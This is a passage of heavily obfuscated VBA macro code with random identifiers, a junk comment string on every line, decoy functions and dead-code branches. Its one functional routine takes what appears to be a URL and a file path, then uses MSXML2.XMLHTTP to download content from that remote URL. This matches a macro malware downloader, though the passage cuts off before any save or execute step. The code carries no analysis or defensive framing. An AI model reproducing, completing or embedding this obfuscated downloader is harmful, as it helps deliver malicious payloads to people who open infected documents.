'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End Function 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Public Function DUWFBAWUCE25() As Integer 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim CFDXQJQKGH71, CNYXTJTDZA34, AWLCZFOYTG52, MXIGYWLUAA76 As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim HIJIGBPYGJ22, HLPIIVTAZZ85, LGCIYXOMTH92, SGSNPEJWZZ27 As Integer 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF HIJIGBPYGJ22 = 4956 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF CFDXQJQKGH71 = Q 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF HLPIIVTAZZ85 = Asc(CFDXQJQKGH71) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If HIJIGBPYGJ22 > HLPIIVTAZZ85 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF For LGCIYXOMTH92 = 1 To 17 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF SGSNPEJWZZ27 = HLPIIVTAZZ85 + LGCIYXOMTH92 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Next LGCIYXOMTH92 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF SGSNPEJWZZ27 = SGSNPEJWZZ27 + HIJIGBPYGJ22 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF CNYXTJTDZA34 = CStr(SGSNPEJWZZ27) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF AWLCZFOYTG52 = Mid$(CNYXTJTDZA34, 1, 4) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MXIGYWLUAA76 = MXIGYWLUAA76 & "67" 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF DUWFBAWUCE25 = CInt(Mid$(MXIGYWLUAA76, 2, 6)) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Else 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF DUWFBAWUCE25 = 17 + 4956 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("LLXVNXKLEP15") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End Function 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Public Function QLAZYZXGNG28() As Integer 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim EAUYXPATEA34, CWYSGHFKWG67, OLUIHTUGIZ22, PCPWBEYWHF97 As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim ZTGNGQQSKN23, XBFTIJBBPF46, IXGAOYKXVA91, PAKGKRKZTD86 As Integer 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF ZTGNGQQSKN23 = 5248 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF EAUYXPATEA34 = A 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF XBFTIJBBPF46 = Asc(EAUYXPATEA34) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If ZTGNGQQSKN23 > XBFTIJBBPF46 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF For IXGAOYKXVA91 = 1 To 38 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF PAKGKRKZTD86 = XBFTIJBBPF46 + IXGAOYKXVA91 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Next IXGAOYKXVA91 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF PAKGKRKZTD86 = PAKGKRKZTD86 + ZTGNGQQSKN23 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF CWYSGHFKWG67 = CStr(PAKGKRKZTD86) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF OLUIHTUGIZ22 = Mid$(CWYSGHFKWG67, 1, 4) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF PCPWBEYWHF97 = PCPWBEYWHF97 & "42" 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF QLAZYZXGNG28 = CInt(Mid$(PCPWBEYWHF97, 2, 6)) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Else 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF QLAZYZXGNG28 = 38 + 5248 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("IYXQWYDESW36") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End Function 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Public Function WZZGALLYDR24() As Integer 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim UKSVJUJHWL76, VOIGKHJLER94, KQCUXXNWNJ28, FWYNRNLMDY75 As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim FUBNVNFGNJ37, JZSNWCJIET21, PRAKNRNONK69, LPLASMGMLE92 As Integer 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF FUBNVNFGNJ37 = 1552 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF UKSVJUJHWL76 = R 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF JZSNWCJIET21 = Asc(UKSVJUJHWL76) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If FUBNVNFGNJ37 > JZSNWCJIET21 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF For PRAKNRNONK69 = 1 To 72 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF LPLASMGMLE92 = JZSNWCJIET21 + PRAKNRNONK69 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Next PRAKNRNONK69 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF LPLASMGMLE92 = LPLASMGMLE92 + FUBNVNFGNJ37 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF VOIGKHJLER94 = CStr(LPLASMGMLE92) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF KQCUXXNWNJ28 = Mid$(VOIGKHJLER94, 1, 4) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF FWYNRNLMDY75 = FWYNRNLMDY75 & "67" 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF WZZGALLYDR24 = CInt(Mid$(FWYNRNLMDY75, 2, 6)) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Else 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF WZZGALLYDR24 = 72 + 1552 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ZYSFHSMEGD22") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End Function 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Function SICJGWUTEZO(ByVal IYDOISAYNTH As String, ByVal PAUINJYOMZI As String) As Boolean 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim JGNEZQPKOWX As Object, ZSIJJVHVMOQ As Long, LSCOYILUQNP As Long, APXADSKJDFK() As Byte 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim XNYGLSTU, LNHAFHEI, FANDIMNO As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 733761 = 733761 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 7234 < 37 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("THZEXUJP89") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("ZQOLSOKQ8974") = Len("EGSYMIKK") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF XNYGLSTU = " KATBAB " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 882124 = 882124 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 2875 < 22 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("MAEZBMUZ66") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("AJYNIFEW3626") = Len("WPYYZLHO") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF LNHAFHEI = LTrim(XNYGLSTU) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 563444 = 563444 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 1747 < 58 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("LYYGVWLY62") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("CSJSEJYN2598") = Len("QMQOIEIW") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF FANDIMNO = RTrim(LNHAFHEI) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 824984 = 824984 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 8782 < 82 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ENUPGQRT36") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("PHQOVEBX9632") = Len("TOPFJIDP") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Set JGNEZQPKOWX = CreateObject("MSXML2.XMLHTTP") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF JGNEZQPKOWX.Open "GET", IYDOISAYNTH, False 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim VOIMFDDX, ERHHAIRF, OBCQFEWY As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 837757 = 837757 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 3977 < 85 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("FHEZVLJV75") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("RNRPNRUY4827") = Len("YRIVIATD") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF VOIMFDDX = " UVHEDS " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 362137 = 362137 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 9469 < 97 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("NMLGDQJX79") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("FWAWQCBU1229") = Len("IFNNTZSW") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF ERHHAIRF = LTrim(VOIMFDDX) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 692234 = 692234 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 3595 < 91 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("BNXASSEN42") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("INMNVZUG7768") = Len("PEXDUNYW") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF OBCQFEWY = RTrim(ERHHAIRF) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 935728 = 935728 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 6195 < 64 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("PTQMVMKD47") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("BTLAXYNC7956") = Len("LBLYHQDQ") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF JGNEZQPKOWX.SEND "send REQUEST" 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Do While JGNEZQPKOWX.READYSTATE <> 4 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim VESJLSLT, DLKMVCTD, GRYGIWGI As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 555829 = 555829 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 8348 < 58 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("LRFPQSYZ62") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("PGHJSWWQ3512") = Len("QLKTMMWK") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF VESJLSLT = " GPLOME " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 